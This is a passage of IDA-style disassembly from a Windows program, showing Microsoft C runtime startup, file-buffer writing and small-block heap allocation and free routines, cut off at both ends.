[ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_42C406 xor eax, eax jmp loc_42C4D3 ; --------------------------------------------------------------------------- loc_42C406: ; CODE XREF: sub_42C3E2+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_42C419 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_42C420 ; --------------------------------------------------------------------------- loc_42C419: ; CODE XREF: sub_42C3E2+2Dj mov [ebp+arg_C], 1000h loc_42C420: ; CODE XREF: sub_42C3E2+35j ; sub_42C3E2+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_42C454 mov eax, [esi+4] test eax, eax jz short loc_42C454 cmp ebx, eax mov edi, ebx jb short loc_42C43A mov edi, eax loc_42C43A: ; CODE XREF: sub_42C3E2+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_429420 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_42C49A ; --------------------------------------------------------------------------- loc_42C454: ; CODE XREF: sub_42C3E2+47j ; sub_42C3E2+4Ej cmp ebx, [ebp+arg_C] jb short loc_42C49F test ecx, ecx jz short loc_42C468 push esi call sub_42F2D9 test eax, eax pop ecx jnz short loc_42C4E1 loc_42C468: ; CODE XREF: sub_42C3E2+79j cmp [ebp+arg_C], 0 jz short loc_42C47B mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_42C47D ; --------------------------------------------------------------------------- loc_42C47B: ; CODE XREF: sub_42C3E2+8Aj mov edi, ebx loc_42C47D: ; CODE XREF: sub_42C3E2+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_43249C add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42C4D8 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_42C4D8 loc_42C49A: ; CODE XREF: sub_42C3E2+70j mov edi, [ebp+var_4] jmp short loc_42C4C8 ; --------------------------------------------------------------------------- loc_42C49F: ; CODE XREF: sub_42C3E2+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_42DB65 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_42C4E1 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_42C4C8 mov [ebp+arg_C], 1 loc_42C4C8: ; CODE XREF: sub_42C3E2+BBj ; sub_42C3E2+DDj test ebx, ebx jnz loc_42C420 mov eax, [ebp+arg_8] loc_42C4D3: ; CODE XREF: sub_42C3E2+1Fj ; sub_42C3E2+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42C4D8: ; CODE XREF: sub_42C3E2+ADj ; sub_42C3E2+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_42C4E3 ; --------------------------------------------------------------------------- loc_42C4E1: ; CODE XREF: sub_42C3E2+84j ; sub_42C3E2+CFj mov eax, edi loc_42C4E3: ; CODE XREF: sub_42C3E2+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_42C4D3 sub_42C3E2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42C4F0 proc near ; CODE XREF: sub_4225E4+17Fp ; sub_42E5F5+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_42C509 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_42C509: ; CODE XREF: sub_42C4F0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_42C4F0 endp ; =============== S U B R O U T I N E ======================================= sub_42C524 proc near ; CODE XREF: sub_426761+1AFp arg_0 = dword ptr 4 cmp dword_4535C4, 1 jle short loc_42C53B push 4 push [esp+4+arg_0] call sub_42F12B pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_42C53B: ; CODE XREF: sub_42C524+7j mov eax, [esp+arg_0] mov ecx, off_4533B8 mov al, [ecx+eax*2] and eax, 4 retn sub_42C524 endp ; =============== S U B R O U T I N E ======================================= sub_42C54C proc near ; CODE XREF: sub_42E5F5+76p ; sub_42E5F5+88p ... arg_0 = dword ptr 4 cmp dword_4535C4, 1 jle short loc_42C563 push 8 push [esp+4+arg_0] call sub_42F12B pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_42C563: ; CODE XREF: sub_42C54C+7j mov eax, [esp+arg_0] mov ecx, off_4533B8 mov al, [ecx+eax*2] and eax, 8 retn sub_42C54C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4374C0 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_437240 ; GetVersion xor edx, edx mov dl, ah mov dword_6769DC, edx mov ecx, eax and ecx, 0FFh mov dword_6769D8, ecx shl ecx, 8 add ecx, edx mov dword_6769D4, ecx shr eax, 10h mov dword ptr byte_6769D0, eax push 1 call sub_42C855 pop ecx test eax, eax jnz short loc_42C5DF push 1Ch call sub_42C6A1 pop ecx loc_42C5DF: ; CODE XREF: .text:0042C5D5j call sub_42E487 test eax, eax jnz short loc_42C5F0 push 10h call sub_42C6A1 pop ecx loc_42C5F0: ; CODE XREF: .text:0042C5E6j xor esi, esi mov [ebp-4], esi call sub_42F6FC call dword_43723C ; GetCommandLineA mov dword_677008, eax call sub_432F35 mov dword_676924, eax call sub_432CE8 call sub_432C2F call sub_430B07 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_437238 ; GetStartupInfoA call sub_432BD7 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_42C63F movzx eax, word ptr [ebp-2Ch] jmp short loc_42C642 ; --------------------------------------------------------------------------- loc_42C63F: ; CODE XREF: .text:0042C637j push 0Ah pop eax loc_42C642: ; CODE XREF: .text:0042C63Dj push eax push dword ptr [ebp-64h] push esi push esi call dword_437070 ; GetModuleHandleA push eax call sub_418E0F mov [ebp-60h], eax push eax call sub_430B34 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_430C27 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_430B45 ; =============== S U B R O U T I N E ======================================= sub_42C67C proc near ; CODE XREF: sub_42ABF8+3Cp ; sub_42AC8B+19p ... arg_0 = dword ptr 4 cmp dword_67692C, 1 jnz short loc_42C68A call sub_433067 loc_42C68A: ; CODE XREF: sub_42C67C+7j push [esp+arg_0] call sub_4330A0 push 0FFh call off_451140 pop ecx pop ecx retn sub_42C67C endp ; =============== S U B R O U T I N E ======================================= sub_42C6A1 proc near ; CODE XREF: .text:0042C5D9p ; .text:0042C5EAp arg_0 = dword ptr 4 cmp dword_67692C, 1 jnz short loc_42C6AF call sub_433067 loc_42C6AF: ; CODE XREF: sub_42C6A1+7j push [esp+arg_0] call sub_4330A0 pop ecx push 0FFh call dword_4370D4 ; ExitProcess retn sub_42C6A1 endp ; =============== S U B R O U T I N E ======================================= sub_42C6C5 proc near ; CODE XREF: sub_4297CA+1Fp ; sub_42B39A+10Dp ... arg_0 = dword ptr 4 mov eax, dword_676934 test eax, eax jz short loc_42C6DD push [esp+arg_0] call eax ; dword_676934 test eax, eax pop ecx jz short loc_42C6DD push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42C6DD: ; CODE XREF: sub_42C6C5+7j ; sub_42C6C5+12j xor eax, eax retn sub_42C6C5 endp ; =============== S U B R O U T I N E ======================================= sub_42C6E0 proc near ; CODE XREF: sub_42C70D+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_437070 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_42C70B mov ecx, [eax+3Ch] test ecx, ecx jz short loc_42C70B add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_42C70B: ; CODE XREF: sub_42C6E0+15j ; sub_42C6E0+1Cj pop esi retn sub_42C6E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C70D proc near ; CODE XREF: sub_42C855+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_429B60 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_437050 ; GetVersionExA test eax, eax jz short loc_42C750 cmp [ebp+var_88], 2 jnz short loc_42C750 cmp [ebp+var_94], 5 jb short loc_42C750 push 1 pop eax jmp loc_42C852 ; --------------------------------------------------------------------------- loc_42C750: ; CODE XREF: sub_42C70D+27j ; sub_42C70D+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_437244 ; GetEnvironmentVariableA test eax, eax jz loc_42C83F xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_42C792 loc_42C77F: ; CODE XREF: sub_42C70D+83j mov al, [ecx] cmp al, 61h jl short loc_42C78D cmp al, 7Ah jg short loc_42C78D sub al, 20h mov [ecx], al loc_42C78D: ; CODE XREF: sub_42C70D+76j ; sub_42C70D+7Aj inc ecx cmp [ecx], bl jnz short loc_42C77F loc_42C792: ; CODE XREF: sub_42C70D+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_42B940 add esp, 0Ch test eax, eax jnz short loc_42C7B4 lea eax, [ebp+var_122C] jmp short loc_42C7FD ; --------------------------------------------------------------------------- loc_42C7B4: ; CODE XREF: sub_42C70D+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_43717C ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_42C7E8 loc_42C7D5: ; CODE XREF: sub_42C70D+D9j mov al, [ecx] cmp al, 61h jl short loc_42C7E3 cmp al, 7Ah jg short loc_42C7E3 sub al, 20h mov [ecx], al loc_42C7E3: ; CODE XREF: sub_42C70D+CCj ; sub_42C70D+D0j inc ecx cmp [ecx], bl jnz short loc_42C7D5 loc_42C7E8: ; CODE XREF: sub_42C70D+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_42AEA0 pop ecx pop ecx loc_42C7FD: ; CODE XREF: sub_42C70D+A5j cmp eax, ebx jz short loc_42C83F push 2Ch push eax call sub_42B1A0 pop ecx cmp eax, ebx pop ecx jz short loc_42C83F inc eax mov ecx, eax cmp [eax], bl jz short loc_42C824 loc_42C816: ; CODE XREF: sub_42C70D+115j cmp byte ptr [ecx], 3Bh jnz short loc_42C81F mov [ecx], bl jmp short loc_42C820 ; --------------------------------------------------------------------------- loc_42C81F: ; CODE XREF: sub_42C70D+10Cj inc ecx loc_42C820: ; CODE XREF: sub_42C70D+110j cmp [ecx], bl jnz short loc_42C816 loc_42C824: ; CODE XREF: sub_42C70D+107j push 0Ah push ebx push eax call sub_429E42 add esp, 0Ch cmp eax, 2 jz short loc_42C852 cmp eax, 3 jz short loc_42C852 cmp eax, 1 jz short loc_42C852 loc_42C83F: ; CODE XREF: sub_42C70D+5Cj ; sub_42C70D+F2j ... lea eax, [ebp+var_4] push eax call sub_42C6E0 cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_42C852: ; CODE XREF: sub_42C70D+3Ej ; sub_42C70D+126j ... pop ebx leave retn sub_42C70D endp ; =============== S U B R O U T I N E ======================================= sub_42C855 proc near ; CODE XREF: .text:0042C5CDp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4371F8 ; HeapCreate test eax, eax mov dword_677000, eax jz short loc_42C8AB call sub_42C70D cmp eax, 3 mov dword_677004, eax jnz short loc_42C891 push 3F8h call sub_42C8B2 pop ecx jmp short loc_42C89B ; --------------------------------------------------------------------------- loc_42C891: ; CODE XREF: sub_42C855+2Dj cmp eax, 2 jnz short loc_42C8AE call sub_42D3F9 loc_42C89B: ; CODE XREF: sub_42C855+3Aj test eax, eax jnz short loc_42C8AE push dword_677000 call dword_4371FC ; HeapDestroy loc_42C8AB: ; CODE XREF: sub_42C855+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_42C8AE: ; CODE XREF: sub_42C855+3Fj ; sub_42C855+48j push 1 pop eax retn sub_42C855 endp ; =============== S U B R O U T I N E ======================================= sub_42C8B2 proc near ; CODE XREF: sub_42C855+34p arg_0 = dword ptr 4 push 140h push 0 push dword_677000 call dword_437210 ; RtlAllocateHeap test eax, eax mov dword_676FF8, eax jnz short loc_42C8CF retn ; --------------------------------------------------------------------------- loc_42C8CF: ; CODE XREF: sub_42C8B2+1Aj mov ecx, [esp+arg_0] and dword_676FF0, 0 and dword_676FF4, 0 push 1 mov dword_676FEC, eax mov dword_676FFC, ecx mov dword_676FE4, 10h pop eax retn sub_42C8B2 endp ; =============== S U B R O U T I N E ======================================= sub_42C8FA proc near ; CODE XREF: sub_4298F2+45p ; sub_431C83+73p ... arg_0 = dword ptr 4 mov eax, dword_676FF4 lea ecx, [eax+eax*4] mov eax, dword_676FF8 lea ecx, [eax+ecx*4] loc_42C90A: ; CODE XREF: sub_42C8FA+26j cmp eax, ecx jnb short loc_42C922 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_42C924 add eax, 14h jmp short loc_42C90A ; --------------------------------------------------------------------------- loc_42C922: ; CODE XREF: sub_42C8FA+12j xor eax, eax locret_42C924: ; CODE XREF: sub_42C8FA+21j retn sub_42C8FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C925 proc near ; CODE XREF: sub_4298F2+54p ; sub_431C83+D0p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_42CC49 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_42C9FB sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_42C989 push 3Fh pop edx loc_42C989: ; CODE XREF: sub_42C925+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_42C9DD cmp edx, 20h jnb short loc_42C9B4 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_42C9D5 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_42C9D5 ; --------------------------------------------------------------------------- loc_42C9B4: ; CODE XREF: sub_42C925+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_42C9D5 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_42C9D5: ; CODE XREF: sub_42C925+86j ; sub_42C925+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_42C9E0 ; --------------------------------------------------------------------------- loc_42C9DD: ; CODE XREF: sub_42C925+6Aj mov ecx, [ebp+var_4] loc_42C9E0: ; CODE XREF: sub_42C925+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_42C9FB: ; CODE XREF: sub_42C925+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_42CA09 push 3Fh pop edx loc_42CA09: ; CODE XREF: sub_42C925+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_42CAAC sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_42CA2E mov ebx, esi loc_42CA2E: ; CODE XREF: sub_42C925+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_42CA40 mov edx, esi loc_42CA40: ; CODE XREF: sub_42C925+117j cmp ebx, edx jz short loc_42CAA7 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_42CA8F cmp ebx, 20h jnb short loc_42CA70 mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_42CA8F mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_42CA8F ; --------------------------------------------------------------------------- loc_42CA70: ; CODE XREF: sub_42C925+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_42CA8F mov ecx, [ebp+arg_0] and [ecx+4], esi loc_42CA8F: ; CODE XREF: sub_42C925+128j ; sub_42C925+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_42CAA7: ; CODE XREF: sub_42C925+11Dj mov esi, [ebp+arg_4] jmp short loc_42CAAF ; --------------------------------------------------------------------------- loc_42CAAC: ; CODE XREF: sub_42C925+EDj mov ebx, [ebp+arg_0] loc_42CAAF: ; CODE XREF: sub_42C925+185j cmp [ebp+var_C], 0 jnz short loc_42CABD cmp ebx, edx jz loc_42CB3E loc_42CABD: ; CODE XREF: sub_42C925+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_42CB3E mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_42CB15 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_42CB04 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_42CB04: ; CODE XREF: sub_42C925+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_42CB3E ; --------------------------------------------------------------------------- loc_42CB15: ; CODE XREF: sub_42C925+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_42CB2B lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_42CB2B: ; CODE XREF: sub_42C925+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_42CB3E: ; CODE XREF: sub_42C925+192j ; sub_42C925+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_42CC49 mov eax, dword_676FF0 test eax, eax jz loc_42CC3B mov ecx, dword_676FE8 mov esi, dword_437198 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; dword_437198 mov ecx, dword_676FE8 mov eax, dword_676FF0 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_676FF0 mov ecx, dword_676FE8 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_676FF0 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_676FF0 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_42CBCC and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_676FF0 loc_42CBCC: ; CODE XREF: sub_42C925+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_42CC3B push ebx push 0 push dword ptr [eax+0Ch] call esi ; dword_437198 mov eax, dword_676FF0 push dword ptr [eax+10h] push 0 push dword_677000 call dword_437214 ; RtlFreeHeap mov eax, dword_676FF4 mov edx, dword_676FF8 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_676FF0 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_42BA90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_676FF4 cmp eax, dword_676FF0 jbe short loc_42CC31 sub [ebp+arg_0], 14h loc_42CC31: ; CODE XREF: sub_42C925+306j mov eax, dword_676FF8 mov dword_676FEC, eax loc_42CC3B: ; CODE XREF: sub_42C925+234j ; sub_42C925+2ABj mov eax, [ebp+arg_0] mov dword_676FE8, edi mov dword_676FF0, eax loc_42CC49: ; CODE XREF: sub_42C925+38j ; sub_42C925+227j pop edi pop esi pop ebx leave retn sub_42C925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CC4E proc near ; CODE XREF: sub_4297F6+49p ; sub_42B39A+78p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_676FF4 mov edx, dword_676FF8 push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_42CC8E or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_42CC9E ; --------------------------------------------------------------------------- loc_42CC8E: ; CODE XREF: sub_42CC4E+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_42CC9E: ; CODE XREF: sub_42CC4E+3Ej mov eax, dword_676FEC mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_42CCC5 loc_42CCAC: ; CODE XREF: sub_42CC4E+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_42CCC5 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_42CCAC loc_42CCC5: ; CODE XREF: sub_42CC4E+5Cj ; sub_42CC4E+6Aj cmp ebx, [ebp+var_4] jnz short loc_42CD43 mov ebx, edx loc_42CCCC: ; CODE XREF: sub_42CC4E+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_42CCE8 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_42CCE6 add ebx, 14h jmp short loc_42CCCC ; --------------------------------------------------------------------------- loc_42CCE6: ; CODE XREF: sub_42CC4E+91j cmp ebx, eax loc_42CCE8: ; CODE XREF: sub_42CC4E+83j jnz short loc_42CD43 loc_42CCEA: ; CODE XREF: sub_42CC4E+ADj cmp ebx, [ebp+var_4] jnb short loc_42CD00 cmp dword ptr [ebx+8], 0 jnz short loc_42CCFD add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_42CCEA ; --------------------------------------------------------------------------- loc_42CCFD: ; CODE XREF: sub_42CC4E+A5j cmp ebx, [ebp+var_4] loc_42CD00: ; CODE XREF: sub_42CC4E+9Fj jnz short loc_42CD28 mov ebx, edx loc_42CD04: ; CODE XREF: sub_42CC4E+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_42CD18 cmp dword ptr [ebx+8], 0 jnz short loc_42CD16 add ebx, 14h jmp short loc_42CD04 ; --------------------------------------------------------------------------- loc_42CD16: ; CODE XREF: sub_42CC4E+C1j cmp ebx, eax loc_42CD18: ; CODE XREF: sub_42CC4E+BBj jnz short loc_42CD28 call sub_42CF57 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_42CD3C loc_42CD28: ; CODE XREF: sub_42CC4E:loc_42CD00j ; sub_42CC4E:loc_42CD18j push ebx call sub_42D008 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_42CD43 loc_42CD3C: ; CODE XREF: sub_42CC4E+D8j xor eax, eax jmp loc_42CF52 ; --------------------------------------------------------------------------- loc_42CD43: ; CODE XREF: sub_42CC4E+7Aj ; sub_42CC4E:loc_42CCE8j ... mov dword_676FEC, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_42CD6A mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_42CDA1 loc_42CD6A: ; CODE XREF: sub_42CC4E+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_42CD9E loc_42CD87: ; CODE XREF: sub_42CC4E+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_42CD87 loc_42CD9E: ; CODE XREF: sub_42CC4E+137j mov edx, [ebp+var_4] loc_42CDA1: ; CODE XREF: sub_42CC4E+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_42CDCA mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_42CDCA: ; CODE XREF: sub_42CC4E+16Dj ; sub_42CC4E+183j test ecx, ecx jl short loc_42CDD3 shl ecx, 1 inc edi jmp short loc_42CDCA ; --------------------------------------------------------------------------- loc_42CDD3: ; CODE XREF: sub_42CC4E+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_42CDF0 push 3Fh pop esi loc_42CDF0: ; CODE XREF: sub_42CC4E+19Dj cmp esi, edi jz loc_42CF05 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_42CE61 cmp edi, 20h jge short loc_42CE30 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_42CE5E mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_42CE61 ; --------------------------------------------------------------------------- loc_42CE30: ; CODE XREF: sub_42CC4E+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_42CE5E mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_42CE61 ; --------------------------------------------------------------------------- loc_42CE5E: ; CODE XREF: sub_42CC4E+1D6j ; sub_42CC4E+203j mov ebx, [ebp+arg_0] loc_42CE61: ; CODE XREF: sub_42CC4E+1B0j ; sub_42CC4E+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_42CF11 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_42CF02 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_42CED3 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_42CEC1 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_42CEC1: ; CODE XREF: sub_42CC4E+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_42CF02 ; --------------------------------------------------------------------------- loc_42CED3: ; CODE XREF: sub_42CC4E+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_42CEEC lea ecx, [esi-20h] mov 